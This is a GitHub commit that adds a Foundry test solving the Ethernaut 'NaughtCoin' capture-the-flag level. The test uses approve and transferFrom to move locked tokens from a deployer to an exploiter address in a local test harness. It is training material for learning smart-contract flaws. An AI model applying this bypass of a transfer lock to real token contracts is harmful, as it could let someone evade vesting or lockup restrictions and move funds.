-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
3 changed files
with
40 additions
and
2 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,38 @@ | ||
// SPDX-License-Identifier: GPL-3.0 | ||
pragma solidity ^0.8.0; | ||
|
||
import '../../src/EthernautCTF/NaughtCoin.sol'; | ||
import '@forge-std/Test.sol'; | ||
import '@forge-std/console2.sol'; | ||
|
||
contract NaughtCoinExploit is Test { | ||
NaughtCoin target; | ||
address deployer = makeAddr('deployer'); | ||
address exploiter = makeAddr('exploiter'); | ||
|
||
function setUp() public { | ||
target = new NaughtCoin(deployer); | ||
console2.log('Target contract deployed'); | ||
} | ||
|
||
function testExploit() public { | ||
uint256 balance = target.balanceOf(exploiter); | ||
console2.log('Exploiter balance: %d', balance); | ||
assertEq(balance, 0); | ||
|
||
// Approve another address to spend the tokens on the behalf of the deployer. | ||
uint256 amount = target.balanceOf(deployer); | ||
vm.startPrank(deployer); | ||
target.approve(exploiter, amount); | ||
vm.stopPrank(); | ||
|
||
// Transfer the tokens from the deployer address to the exploiter address using the exploiter address. | ||
vm.startPrank(exploiter); | ||
target.transferFrom(deployer, exploiter, amount); | ||
vm.stopPrank(); | ||
|
||
balance = target.balanceOf(exploiter); | ||
console2.log('Exploiter balance: %d', balance); | ||
assertEq(balance, amount); | ||
} | ||
} |